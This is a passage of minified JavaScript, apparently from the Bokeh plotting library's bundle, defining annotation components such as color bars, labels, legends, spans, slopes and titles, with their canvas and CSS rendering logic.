h.Range1d({start:0,end:t})};switch(this.color_mapper.type){case\\\"LinearColorMapper\\\":return new a.LinearScale(e);case\\\"LogColorMapper\\\":return new l.LogScale(e);default:throw new Error(\\\"unreachable code\\\")}},t.prototype._format_major_labels=function(t,e){for(var i=this.formatter.doFormat(t,null),n=0,r=e.length;n<r;n++)e[n]in this.major_label_overrides&&(i[n]=this.major_label_overrides[e[n]]);return i},t.prototype.tick_info=function(){var e,t=this._computed_image_dimensions();switch(this.orientation){case\\\"vertical\\\":e=t.height;break;case\\\"horizontal\\\":e=t.width;break;default:throw new Error(\\\"unreachable code\\\")}for(var i=this._tick_coordinate_scale(e),n=this._normals(),r=n[0],o=n[1],s=[this.color_mapper.low,this.color_mapper.high],a=s[0],l=s[1],h=this.ticker.get_ticks(a,l,null,null,this.ticker.desired_num_ticks),u=h.major,c=h.minor,_=[[],[]],p=[[],[]],d=0,f=u.length;d<f;d++)u[d]<a||u[d]>l||(_[r].push(u[d]),_[o].push(0));for(var d=0,f=c.length;d<f;d++)c[d]<a||c[d]>l||(p[r].push(c[d]),p[o].push(0));var v={major:this._format_major_labels(_[r],u)},m={major:[[],[]],minor:[[],[]]};return m.major[r]=i.v_compute(_[r]),m.minor[r]=i.v_compute(p[r]),m.major[o]=_[o],m.minor[o]=p[o],\\\"vertical\\\"==this.orientation&&(m.major[r]=g.map(m.major[r],function(t){return e-t}),m.minor[r]=g.map(m.minor[r],function(t){return e-t})),{coords:m,labels:v}},t}(r.Annotation);(i.ColorBar=m).initClass()},function(t,e,i){var n=t(60);i.Annotation=n.Annotation;var r=t(61);i.Arrow=r.Arrow;var o=t(62);i.ArrowHead=o.ArrowHead;var s=t(62);i.OpenHead=s.OpenHead;var a=t(62);i.NormalHead=a.NormalHead;var l=t(62);i.TeeHead=l.TeeHead;var h=t(62);i.VeeHead=h.VeeHead;var u=t(63);i.Band=u.Band;var c=t(64);i.BoxAnnotation=c.BoxAnnotation;var _=t(65);i.ColorBar=_.ColorBar;var p=t(67);i.Label=p.Label;var d=t(68);i.LabelSet=d.LabelSet;var f=t(69);i.Legend=f.Legend;var v=t(70);i.LegendItem=v.LegendItem;var m=t(71);i.PolyAnnotation=m.PolyAnnotation;var g=t(72);i.Slope=g.Slope;var y=t(73);i.Span=y.Span;var b=t(74);i.TextAnnotation=b.TextAnnotation;var x=t(75);i.Title=x.Title;var w=t(76);i.ToolbarPanel=w.ToolbarPanel;var k=t(77);i.Tooltip=k.Tooltip;var S=t(78);i.Whisker=S.Whisker},function(t,e,i){var n=t(391),r=t(74),a=t(5),o=t(15),s=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),this.visuals.warm_cache()},t.prototype._get_size=function(){var t=this.plot_view.canvas_view.ctx;if(this.visuals.text.set_value(t),this.model.panel.is_horizontal){var e=t.measureText(this.model.text).ascent;return e}var i=t.measureText(this.model.text).width;return i},t.prototype.render=function(){if(this.model.visible||\\\"css\\\"!=this.model.render_mode||a.hide(this.el),this.model.visible){var t;switch(this.model.angle_units){case\\\"rad\\\":t=-this.model.angle;break;case\\\"deg\\\":t=-this.model.angle*Math.PI/180;break;default:throw new Error(\\\"unreachable code\\\")}var e=null!=this.model.panel?this.model.panel:this.plot_view.frame,i=this.plot_view.frame.xscales[this.model.x_range_name],n=this.plot_view.frame.yscales[this.model.y_range_name],r=\\\"data\\\"==this.model.x_units?i.compute(this.model.x):e.xview.compute(this.model.x),o=\\\"data\\\"==this.model.y_units?n.compute(this.model.y):e.yview.compute(this.model.y);r+=this.model.x_offset,o-=this.model.y_offset;var s=\\\"canvas\\\"==this.model.render_mode?this._canvas_text.bind(this):this._css_text.bind(this);s(this.plot_view.canvas_view.ctx,this.model.text,r,o,t)}},t}(r.TextAnnotationView);i.LabelView=s;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Label\\\",this.prototype.default_view=s,this.mixins([\\\"text\\\",\\\"line:border_\\\",\\\"fill:background_\\\"]),this.define({x:[o.Number],x_units:[o.SpatialUnits,\\\"data\\\"],y:[o.Number],y_units:[o.SpatialUnits,\\\"data\\\"],text:[o.String],angle:[o.Angle,0],angle_units:[o.AngleUnits,\\\"rad\\\"],x_offset:[o.Number,0],y_offset:[o.Number,0],x_range_name:[o.String,\\\"default\\\"],y_range_name:[o.String,\\\"default\\\"]}),this.override({background_fill_color:null,border_line_color:null})},t}(r.TextAnnotation);(i.Label=l).initClass()},function(t,e,i){var n=t(391),r=t(74),o=t(200),u=t(5),s=t(15),a=function(r){function t(){return null!==r&&r.apply(this,arguments)||this}return n.__extends(t,r),t.prototype.initialize=function(t){if(r.prototype.initialize.call(this,t),this.set_data(this.model.source),\\\"css\\\"==this.model.render_mode)for(var e=0,i=this._text.length;e<i;e++){var n=u.div({class:\\\"bk-annotation-child\\\",style:{display:\\\"none\\\"}});this.el.appendChild(n)}},t.prototype.connect_signals=function(){var t=this;r.prototype.connect_signals.call(this),\\\"css\\\"==this.model.render_mode?(this.connect(this.model.change,function(){t.set_data(t.model.source),t.render()}),this.connect(this.model.source.streaming,function(){t.set_data(t.model.source),t.render()}),this.connect(this.model.source.patching,function(){t.set_data(t.model.source),t.render()}),this.connect(this.model.source.change,function(){t.set_data(t.model.source),t.render()})):(this.connect(this.model.change,function(){t.set_data(t.model.source),t.plot_view.request_render()}),this.connect(this.model.source.streaming,function(){t.set_data(t.model.source),t.plot_view.request_render()}),this.connect(this.model.source.patching,function(){t.set_data(t.model.source),t.plot_view.request_render()}),this.connect(this.model.source.change,function(){t.set_data(t.model.source),t.plot_view.request_render()}))},t.prototype.set_data=function(t){r.prototype.set_data.call(this,t),this.visuals.warm_cache(t)},t.prototype._map_data=function(){var t=this.plot_view.frame.xscales[this.model.x_range_name],e=this.plot_view.frame.yscales[this.model.y_range_name],i=null!=this.model.panel?this.model.panel:this.plot_view.frame,n=\\\"data\\\"==this.model.x_units?t.v_compute(this._x):i.xview.v_compute(this._x),r=\\\"data\\\"==this.model.y_units?e.v_compute(this._y):i.yview.v_compute(this._y);return[n,r]},t.prototype.render=function(){if(this.model.visible||\\\"css\\\"!=this.model.render_mode||u.hide(this.el),this.model.visible)for(var t=\\\"canvas\\\"==this.model.render_mode?this._v_canvas_text.bind(this):this._v_css_text.bind(this),e=this.plot_view.canvas_view.ctx,i=this._map_data(),n=i[0],r=i[1],o=0,s=this._text.length;o<s;o++)t(e,o,this._text[o],n[o]+this._x_offset[o],r[o]-this._y_offset[o],this._angle[o])},t.prototype._get_size=function(){var t=this.plot_view.canvas_view.ctx;switch(this.visuals.text.set_value(t),this.model.panel.side){case\\\"above\\\":case\\\"below\\\":var e=t.measureText(this._text[0]).ascent;return e;case\\\"left\\\":case\\\"right\\\":var i=t.measureText(this._text[0]).width;return i;default:throw new Error(\\\"unreachable code\\\")}},t.prototype._v_canvas_text=function(t,e,i,n,r,o){this.visuals.text.set_vectorize(t,e);var s=this._calculate_bounding_box_dimensions(t,i);t.save(),t.beginPath(),t.translate(n,r),t.rotate(o),t.rect(s[0],s[1],s[2],s[3]),this.visuals.background_fill.doit&&(this.visuals.background_fill.set_vectorize(t,e),t.fill()),this.visuals.border_line.doit&&(this.visuals.border_line.set_vectorize(t,e),t.stroke()),this.visuals.text.doit&&(this.visuals.text.set_vectorize(t,e),t.fillText(i,0,0)),t.restore()},t.prototype._v_css_text=function(t,e,i,n,r,o){var s=this.el.children[e];s.textContent=i,this.visuals.text.set_vectorize(t,e);var a=this._calculate_bounding_box_dimensions(t,i),l=this.visuals.border_line.line_dash.value(),h=l.length<2?\\\"solid\\\":\\\"dashed\\\";this.visuals.border_line.set_vectorize(t,e),this.visuals.background_fill.set_vectorize(t,e),s.style.position=\\\"absolute\\\",s.style.left=n+a[0]+\\\"px\\\",s.style.top=r+a[1]+\\\"px\\\",s.style.color=\\\"\\\"+this.visuals.text.text_color.value(),s.style.opacity=\\\"\\\"+this.visuals.text.text_alpha.value(),s.style.font=\\\"\\\"+this.visuals.text.font_value(),s.style.lineHeight=\\\"normal\\\",o&&(s.style.transform=\\\"rotate(\\\"+o+\\\"rad)\\\"),this.visuals.background_fill.doit&&(s.style.backgroundColor=\\\"\\\"+this.visuals.background_fill.color_value()),this.visuals.border_line.doit&&(s.style.borderStyle=\\\"\\\"+h,s.style.borderWidth=this.visuals.border_line.line_width.value()+\\\"px\\\",s.style.borderColor=\\\"\\\"+this.visuals.border_line.color_value()),u.show(s)},t}(r.TextAnnotationView);i.LabelSetView=a;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"LabelSet\\\",this.prototype.default_view=a,this.mixins([\\\"text\\\",\\\"line:border_\\\",\\\"fill:background_\\\"]),this.define({x:[s.NumberSpec],y:[s.NumberSpec],x_units:[s.SpatialUnits,\\\"data\\\"],y_units:[s.SpatialUnits,\\\"data\\\"],text:[s.StringSpec,{field:\\\"text\\\"}],angle:[s.AngleSpec,0],x_offset:[s.NumberSpec,{value:0}],y_offset:[s.NumberSpec,{value:0}],source:[s.Instance,function(){return new o.ColumnDataSource}],x_range_name:[s.String,\\\"default\\\"],y_range_name:[s.String,\\\"default\\\"]}),this.override({background_fill_color:null,border_line_color:null})},t}(r.TextAnnotation);(i.LabelSet=l).initClass()},function(t,e,i){var n=t(391),r=t(60),o=t(15),s=t(19),M=t(41),O=t(24),z=t(21),P=t(32),j=t(44),a=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.cursor=function(t,e){return\\\"none\\\"==this.model.click_policy?null:\\\"pointer\\\"},Object.defineProperty(t.prototype,\\\"legend_padding\\\",{get:function(){return null!=this.visuals.border_line.line_color.value()?this.model.padding:0},enumerable:!0,configurable:!0}),t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.model.change,function(){return t.plot_view.request_render()}),this.connect(this.model.item_change,function(){return t.plot_view.request_render()})},t.prototype.compute_legend_bbox=function(){var t=this.model.get_legend_names(),e=this.model,i=e.glyph_height,n=e.glyph_width,r=this.model,o=r.label_height,s=r.label_width;this.max_label_height=z.max([M.get_text_height(this.visuals.label_text.font_value()).height,o,i]);var a=this.plot_view.canvas_view.ctx;a.save(),this.visuals.label_text.set_value(a),this.text_widths={};for(var l=0,h=t;l<h.length;l++){var u=h[l];this.text_widths[u]=z.max([a.measureText(u).width,s])}a.restore();var c,_,p=Math.max(z.max(P.values(this.text_widths)),0),d=this.model.margin,f=this.legend_padding,v=this.model.spacing,m=this.model.label_standoff;if(\\\"vertical\\\"==this.model.orientation)c=t.length*this.max_label_height+Math.max(t.length-1,0)*v+2*f,_=p+n+m+2*f;else{for(var g in _=2*f+Math.max(t.length-1,0)*v,this.text_widths){var y=this.text_widths[g];_+=z.max([y,s])+n+m}c=this.max_label_height+2*f}var b,x,w=null!=this.model.panel?this.model.panel:this.plot_view.frame,k=w.bbox.ranges,S=k[0],C=k[1],T=this.model.location;if(j.isString(T))switch(T){case\\\"top_left\\\":b=S.start+d,x=C.start+d;break;case\\\"top_center\\\":b=(S.end+S.start)/2-_/2,x=C.start+d;break;case\\\"top_right\\\":b=S.end-d-_,x=C.start+d;break;case\\\"bottom_right\\\":b=S.end-d-_,x=C.end-d-c;break;case\\\"bottom_center\\\":b=(S.end+S.start)/2-_/2,x=C.end-d-c;break;case\\\"bottom_left\\\":b=S.start+d,x=C.end-d-c;break;case\\\"center_left\\\":b=S.start+d,x=(C.end+C.start)/2-c/2;break;case\\\"center\\\":b=(S.end+S.start)/2-_/2,x=(C.end+C.start)/2-c/2;break;case\\\"center_right\\\":b=S.end-d-_,x=(C.end+C.start)/2-c/2;break;default:throw new Error(\\\"unreachable code\\\")}else{if(!j.isArray(T)||2!=T.length)throw new Error(\\\"unreachable code\\\");var A=T[0],E=T[1];b=w.xview.compute(A),x=w.yview.compute(E)-c}return{x:b,y:x,width:_,height:c}},t.prototype.interactive_bbox=function(){var t=this.compute_legend_bbox(),e=t.x,i=t.y,n=t.width,r=t.height;return new O.BBox({x:e,y:i,width:n,height:r})},t.prototype.interactive_hit=function(t,e){var i=this.interactive_bbox();return i.contains(t,e)},t.prototype.on_hit=function(t,e){for(var i,n,r,o=this.model.glyph_width,s=this.legend_padding,a=this.model.spacing,l=this.model.label_standoff,h=r=s,u=this.compute_legend_bbox(),c=\\\"vertical\\\"==this.model.orientation,_=0,p=this.model.items;_<p.length;_++)for(var d=p[_],f=d.get_labels_list_from_label_prop(),v=0,m=f;v<m.length;v++){var g=m[v],y=u.x+h,b=u.y+r,x=void 0,w=void 0;c?(i=[u.width-2*s,this.max_label_height],x=i[0],w=i[1]):(n=[this.text_widths[g]+o+l,this.max_label_height],x=n[0],w=n[1]);var k=new O.BBox({x:y,y:b,width:x,height:w});if(k.contains(t,e)){switch(this.model.click_policy){case\\\"hide\\\":for(var S=0,C=d.renderers;S<C.length;S++){var T=C[S];T.visible=!T.visible}break;case\\\"mute\\\":for(var A=0,E=d.renderers;A<E.length;A++){var T=E[A];T.muted=!T.muted}}return!0}c?r+=this.max_label_height+a:h+=this.text_widths[g]+o+l+a}return!1},t.prototype.render=function(){if(this.model.visible&&0!=this.model.items.length){for(var t=0,e=this.model.items;t<e.length;t++){var i=e[t];i.legend=this.model}var n=this.plot_view.canvas_view.ctx,r=this.compute_legend_bbox();n.save(),this._draw_legend_box(n,r),this._draw_legend_items(n,r),n.restore()}},t.prototype._draw_legend_box=function(t,e){t.beginPath(),t.rect(e.x,e.y,e.width,e.height),this.visuals.background_fill.set_value(t),t.fill(),this.visuals.border_line.doit&&(this.visuals.border_line.set_value(t),t.stroke())},t.prototype._draw_legend_items=function(y,b){for(var x=this,t=this.model,w=t.glyph_width,k=t.glyph_height,S=this.legend_padding,C=this.model.spacing,T=this.model.label_standoff,A=S,E=S,M=\\\"vertical\\\"==this.model.orientation,e=function(t){var e,i,n=t.get_labels_list_from_label_prop(),r=t.get_field_from_label_prop();if(0==n.length)return\\\"continue\\\";for(var o=function(){switch(x.model.click_policy){case\\\"none\\\":return!0;case\\\"hide\\\":return z.all(t.renderers,function(t){return t.visible});case\\\"mute\\\":return z.all(t.renderers,function(t){return!t.muted})}}(),s=0,a=n;s<a.length;s++){var l=a[s],h=b.x+A,u=b.y+E,c=h+w,_=u+k;M?E+=O.max_label_height+C:A+=O.text_widths[l]+w+T+C,O.visuals.label_text.set_value(y),y.fillText(l,c+T,u+O.max_label_height/2);for(var p=0,d=t.renderers;p<d.length;p++){var f=d[p],v=O.plot_view.renderer_views[f.id];v.draw_legend(y,h,c,u,_,r,l,t.index)}if(!o){var m=void 0,g=void 0;M?(e=[b.width-2*S,O.max_label_height],m=e[0],g=e[1]):(i=[O.text_widths[l]+w+T,O.max_label_height],m=i[0],g=i[1]),y.beginPath(),y.rect(h,u,m,g),O.visuals.inactive_fill.set_value(y),y.fill()}}},O=this,i=0,n=this.model.items;i<n.length;i++){var r=n[i];e(r)}},t.prototype._get_size=function(){var t=this.compute_legend_bbox();switch(this.model.panel.side){case\\\"above\\\":case\\\"below\\\":return t.height+2*this.model.margin;case\\\"left\\\":case\\\"right\\\":return t.width+2*this.model.margin}},t}(r.AnnotationView);i.LegendView=a;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.prototype.initialize=function(){e.prototype.initialize.call(this),this.item_change=new s.Signal0(this,\\\"item_change\\\")},t.initClass=function(){this.prototype.type=\\\"Legend\\\",this.prototype.default_view=a,this.mixins([\\\"text:label_\\\",\\\"fill:inactive_\\\",\\\"line:border_\\\",\\\"fill:background_\\\"]),this.define({orientation:[o.Orientation,\\\"vertical\\\"],location:[o.Any,\\\"top_right\\\"],label_standoff:[o.Number,5],glyph_height:[o.Number,20],glyph_width:[o.Number,20],label_height:[o.Number,20],label_width:[o.Number,20],margin:[o.Number,10],padding:[o.Number,10],spacing:[o.Number,3],items:[o.Array,[]],click_policy:[o.Any,\\\"none\\\"]}),this.override({border_line_color:\\\"#e5e5e5\\\",border_line_alpha:.5,border_line_width:1,background_fill_color:\\\"#ffffff\\\",background_fill_alpha:.95,inactive_fill_color:\\\"white\\\",inactive_fill_alpha:.7,label_text_font_size:\\\"10pt\\\",label_text_baseline:\\\"middle\\\"})},t.prototype.get_legend_names=function(){for(var t=[],e=0,i=this.items;e<i.length;e++){var n=i[e],r=n.get_labels_list_from_label_prop();t.push.apply(t,r)}return t},t}(r.Annotation);(i.Legend=l).initClass()},function(t,e,i){var r=t(391),n=t(59),o=t(201),s=t(47),a=t(15),l=t(14),h=t(21),u=function(n){function t(t){return n.call(this,t)||this}return r.__extends(t,n),t.initClass=function(){this.prototype.type=\\\"LegendItem\\\",this.define({label:[a.StringSpec,null],renderers:[a.Array,[]],index:[a.Number,null]})},t.prototype._check_data_sources_on_renderers=function(){var t=this.get_field_from_label_prop();if(null!=t){if(this.renderers.length<1)return!1;var e=this.renderers[0].data_source;if(null!=e)for(var i=0,n=this.renderers;i<n.length;i++){var r=n[i];if(r.data_source!=e)return!1}}return!0},t.prototype._check_field_label_on_data_source=function(){var t=this.get_field_from_label_prop();if(null!=t){if(this.renderers.length<1)return!1;var e=this.renderers[0].data_source;if(null!=e&&!h.includes(e.columns(),t))return!1}return!0},t.prototype.initialize=function(){var t=this;n.prototype.initialize.call(this),this.legend=null,this.connect(this.change,function(){null!=t.legend&&t.legend.item_change.emit()});var e=this._check_data_sources_on_renderers();e||l.logger.error(\\\"Non matching data sources on legend item renderers\\\");var i=this._check_field_label_on_data_source();i||l.logger.error(\\\"Bad column name on label: \\\"+this.label)},t.prototype.get_field_from_label_prop=function(){var t=this.label;return s.isField(t)?t.field:null},t.prototype.get_labels_list_from_label_prop=function(){if(s.isValue(this.label))return[this.label.value];var t=this.get_field_from_label_prop();if(null!=t){var e=void 0;if(!this.renderers[0]||null==this.renderers[0].data_source)return[\\\"No source found\\\"];if((e=this.renderers[0].data_source)instanceof o.ColumnarDataSource){var i=e.get_column(t);return null!=i?h.uniq(Array.from(i)):[\\\"Invalid field\\\"]}}return[]},t}(n.Model);(i.LegendItem=u).initClass()},function(t,e,i){var n=t(391),r=t(60),o=t(19),s=t(15),a=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.model.change,function(){return t.plot_view.request_render()}),this.connect(this.model.data_update,function(){return t.plot_view.request_render()})},t.prototype.render=function(){if(this.model.visible){var t=this.model,e=t.xs,i=t.ys;if(e.length==i.length&&!(e.length<3||i.length<3)){for(var n=this.plot_view.frame,r=this.plot_view.canvas_view.ctx,o=0,s=e.length;o<s;o++){var a=void 0;if(\\\"screen\\\"!=this.model.xs_units)throw new Error(\\\"not implemented\\\");a=this.model.screen?e[o]:n.xview.compute(e[o]);var l=void 0;if(\\\"screen\\\"!=this.model.ys_units)throw new Error(\\\"not implemented\\\");l=this.model.screen?i[o]:n.yview.compute(i[o]),0==o?(r.beginPath(),r.moveTo(a,l)):r.lineTo(a,l)}r.closePath(),this.visuals.line.doit&&(this.visuals.line.set_value(r),r.stroke()),this.visuals.fill.doit&&(this.visuals.fill.set_value(r),r.fill())}}},t}(r.AnnotationView);i.PolyAnnotationView=a;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"PolyAnnotation\\\",this.prototype.default_view=a,this.mixins([\\\"line\\\",\\\"fill\\\"]),this.define({xs:[s.Array,[]],xs_units:[s.SpatialUnits,\\\"data\\\"],ys:[s.Array,[]],ys_units:[s.SpatialUnits,\\\"data\\\"],x_range_name:[s.String,\\\"default\\\"],y_range_name:[s.String,\\\"default\\\"]}),this.internal({screen:[s.Boolean,!1]}),this.override({fill_color:\\\"#fff9ba\\\",fill_alpha:.4,line_color:\\\"#cccccc\\\",line_alpha:.3})},t.prototype.initialize=function(){e.prototype.initialize.call(this),this.data_update=new o.Signal0(this,\\\"data_update\\\")},t.prototype.update=function(t){var e=t.xs,i=t.ys;this.setv({xs:e,ys:i,screen:!0},{silent:!0}),this.data_update.emit()},t}(r.Annotation);(i.PolyAnnotation=l).initClass()},function(t,e,i){var n=t(391),r=t(60),o=t(15),s=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t)},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.model.change,function(){return t.plot_view.request_render()})},t.prototype.render=function(){this.model.visible&&this._draw_slope()},t.prototype._draw_slope=function(){var t=this.model.gradient,e=this.model.y_intercept;if(null!=t&&null!=e){var i=this.plot_view.frame,n=i.xscales[this.model.x_range_name],r=i.yscales[this.model.y_range_name],o=i._top.value,s=o+i._height.value,a=r.invert(o),l=r.invert(s),h=(a-e)/t,u=(l-e)/t,c=n.compute(h),_=n.compute(u),p=this.plot_view.canvas_view.ctx;p.save(),p.beginPath(),this.visuals.line.set_value(p),p.moveTo(c,o),p.lineTo(_,s),p.stroke(),p.restore()}},t}(r.AnnotationView);i.SlopeView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Slope\\\",this.prototype.default_view=s,this.mixins([\\\"line\\\"]),this.define({gradient:[o.Number,null],y_intercept:[o.Number,null],x_range_name:[o.String,\\\"default\\\"],y_range_name:[o.String,\\\"default\\\"]}),this.override({line_color:\\\"black\\\"})},t}(r.Annotation);(i.Slope=a).initClass()},function(t,e,i){var n=t(391),r=t(60),c=t(5),o=t(15),s=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),this.plot_view.canvas_overlays.appendChild(this.el),this.el.style.position=\\\"absolute\\\",c.hide(this.el)},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.model.for_hover?this.connect(this.model.properties.computed_location.change,function(){return t._draw_span()}):\\\"canvas\\\"==this.model.render_mode?(this.connect(this.model.change,function(){return t.plot_view.request_render()}),this.connect(this.model.properties.location.change,function(){return t.plot_view.request_render()})):(this.connect(this.model.change,function(){return t.render()}),this.connect(this.model.properties.location.change,function(){return t._draw_span()}))},t.prototype.render=function(){this.model.visible||\\\"css\\\"!=this.model.render_mode||c.hide(this.el),this.model.visible&&this._draw_span()},t.prototype._draw_span=function(){var i=this,n=this.model.for_hover?this.model.computed_location:this.model.location;if(null!=n){var t,e,r,o,s=this.plot_view.frame,a=s.xscales[this.model.x_range_name],l=s.yscales[this.model.y_range_name],h=function(t,e){return i.model.for_hover?i.model.computed_location:\\\"data\\\"==i.model.location_units?t.compute(n):e.compute(n)};if(\\\"width\\\"==this.model.dimension?(r=h(l,s.yview),e=s._left.value,o=s._width.value,t=this.model.properties.line_width.value()):(r=s._top.value,e=h(a,s.xview),o=this.model.properties.line_width.value(),t=s._height.value),\\\"css\\\"==this.model.render_mode)this.el.style.top=r+\\\"px\\\",this.el.style.left=e+\\\"px\\\",this.el.style.width=o+\\\"px\\\",this.el.style.height=t+\\\"px\\\",this.el.style.backgroundColor=this.model.properties.line_color.value(),this.el.style.opacity=this.model.properties.line_alpha.value(),c.show(this.el);else if(\\\"canvas\\\"==this.model.render_mode){var u=this.plot_view.canvas_view.ctx;u.save(),u.beginPath(),this.visuals.line.set_value(u),u.moveTo(e,r),\\\"width\\\"==this.model.dimension?u.lineTo(e+o,r):u.lineTo(e,r+t),u.stroke(),u.restore()}}else c.hide(this.el)},t}(r.AnnotationView);i.SpanView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Span\\\",this.prototype.default_view=s,this.mixins([\\\"line\\\"]),this.define({render_mode:[o.RenderMode,\\\"canvas\\\"],x_range_name:[o.String,\\\"default\\\"],y_range_name:[o.String,\\\"default\\\"],location:[o.Number,null],location_units:[o.SpatialUnits,\\\"data\\\"],dimension:[o.Dimension,\\\"width\\\"]}),this.override({line_color:\\\"black\\\"}),this.internal({for_hover:[o.Boolean,!1],computed_location:[o.Number,null]})},t}(r.Annotation);(i.Span=a).initClass()},function(t,e,i){var n=t(391),r=t(60),l=t(5),o=t(15),s=t(41),a=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),\\\"css\\\"==this.model.render_mode&&(this.el.classList.add(\\\"bk-annotation\\\"),this.plot_view.canvas_overlays.appendChild(this.el))},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),\\\"css\\\"==this.model.render_mode?this.connect(this.model.change,function(){return t.render()}):this.connect(this.model.change,function(){return t.plot_view.request_render()})},t.prototype._calculate_text_dimensions=function(t,e){var i=t.measureText(e).width,n=s.get_text_height(this.visuals.text.font_value()).height;return[i,n]},t.prototype._calculate_bounding_box_dimensions=function(t,e){var i,n,r=this._calculate_text_dimensions(t,e),o=r[0],s=r[1];switch(t.textAlign){case\\\"left\\\":i=0;break;case\\\"center\\\":i=-o/2;break;case\\\"right\\\":i=-o;break;default:throw new Error(\\\"unreachable code\\\")}switch(t.textBaseline){case\\\"top\\\":n=0;break;case\\\"middle\\\":n=-.5*s;break;case\\\"bottom\\\":n=-1*s;break;case\\\"alphabetic\\\":n=-.8*s;break;case\\\"hanging\\\":n=-.17*s;break;case\\\"ideographic\\\":n=-.83*s;break;default:throw new Error(\\\"unreachable code\\\")}return[i,n,o,s]},t.prototype._canvas_text=function(t,e,i,n,r){this.visuals.text.set_value(t);var o=this._calculate_bounding_box_dimensions(t,e);t.save(),t.beginPath(),t.translate(i,n),r&&t.rotate(r),t.rect(o[0],o[1],o[2],o[3]),this.visuals.background_fill.doit&&(this.visuals.background_fill.set_value(t),t.fill()),this.visuals.border_line.doit&&(this.visuals.border_line.set_value(t),t.stroke()),this.visuals.text.doit&&(this.visuals.text.set_value(t),t.fillText(e,0,0)),t.restore()},t.prototype._css_text=function(t,e,i,n,r){l.hide(this.el),this.visuals.text.set_value(t);var o=this._calculate_bounding_box_dimensions(t,e),s=this.visuals.border_line.line_dash.value(),a=s.length<2?\\\"solid\\\":\\\"dashed\\\";this.visuals.border_line.set_value(t),this.visuals.background_fill.set_value(t),this.el.style.position=\\\"absolute\\\",this.el.style.left=i+o[0]+\\\"px\\\",this.el.style.top=n+o[1]+\\\"px\\\",this.el.style.color=\\\"\\\"+this.visuals.text.text_color.value(),this.el.style.opacity=\\\"\\\"+this.visuals.text.text_alpha.value(),this.el.style.font=\\\"\\\"+this.visuals.text.font_value(),this.el.style.lineHeight=\\\"normal\\\",r&&(this.el.style.transform=\\\"rotate(\\\"+r+\\\"rad)\\\"),this.visuals.background_fill.doit&&(this.el.style.backgroundColor=\\\"\\\"+this.visuals.background_fill.color_value()),this.visuals.border_line.doit&&(this.el.style.borderStyle=\\\"\\\"+a,this.el.style.borderWidth=this.visuals.border_line.line_width.value()+\\\"px\\\",this.el.style.borderColor=\\\"\\\"+this.visuals.border_line.color_value()),this.el.textContent=e,l.show(this.el)},t}(r.AnnotationView);i.TextAnnotationView=a;var h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"TextAnnotation\\\",this.define({render_mode:[o.RenderMode,\\\"canvas\\\"]})},t}(r.Annotation);(i.TextAnnotation=h).initClass()},function(t,e,i){var n=t(391),r=t(74),s=t(5),o=t(15),a=t(49),l=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),this.visuals.text=new a.Text(this.model)},t.prototype._get_location=function(){var t,e,i=this.model.panel,n=this.model.offset;switch(i.side){case\\\"above\\\":case\\\"below\\\":switch(this.model.vertical_align){case\\\"top\\\":e=i._top.value+5;break;case\\\"middle\\\":e=i._vcenter.value;break;case\\\"bottom\\\":e=i._bottom.value-5;break;default:throw new Error(\\\"unreachable code\\\")}switch(this.model.align){case\\\"left\\\":t=i._left.value+n;break;case\\\"center\\\":t=i._hcenter.value;break;case\\\"right\\\":t=i._right.value-n;break;default:throw new Error(\\\"unreachable code\\\")}break;case\\\"left\\\":switch(this.model.vertical_align){case\\\"top\\\":t=i._left.value-5;break;case\\\"middle\\\":t=i._hcenter.value;break;case\\\"bottom\\\":t=i._right.value+5;break;default:throw new Error(\\\"unreachable code\\\")}switch(this.model.align){case\\\"left\\\":e=i._bottom.value-n;break;case\\\"center\\\":e=i._vcenter.value;break;case\\\"right\\\":e=i._top.value+n;break;default:throw new Error(\\\"unreachable code\\\")}break;case\\\"right\\\":switch(this.model.vertical_align){case\\\"top\\\":t=i._right.value-5;break;case\\\"middle\\\":t=i._hcenter.value;break;case\\\"bottom\\\":t=i._left.value+5;break;default:throw new Error(\\\"unreachable code\\\")}switch(this.model.align){case\\\"left\\\":e=i._top.value+n;break;case\\\"center\\\":e=i._vcenter.value;break;case\\\"right\\\":e=i._bottom.value-n;break;default:throw new Error(\\\"unreachable code\\\")}break;default:throw new Error(\\\"unreachable code\\\")}return[t,e]},t.prototype.render=function(){if(this.model.visible){var t=this.model.text;if(null!=t&&0!=t.length){this.model.text_baseline=this.model.vertical_align,this.model.text_align=this.model.align;var e=this._get_location(),i=e[0],n=e[1],r=this.model.panel.get_label_angle_heuristic(\\\"parallel\\\"),o=\\\"canvas\\\"==this.model.render_mode?this._canvas_text.bind(this):this._css_text.bind(this);o(this.plot_view.canvas_view.ctx,t,i,n,r)}}else\\\"css\\\"==this.model.render_mode&&s.hide(this.el)},t.prototype._get_size=function(){var t=this.model.text;if(null==t||0==t.length)return 0;var 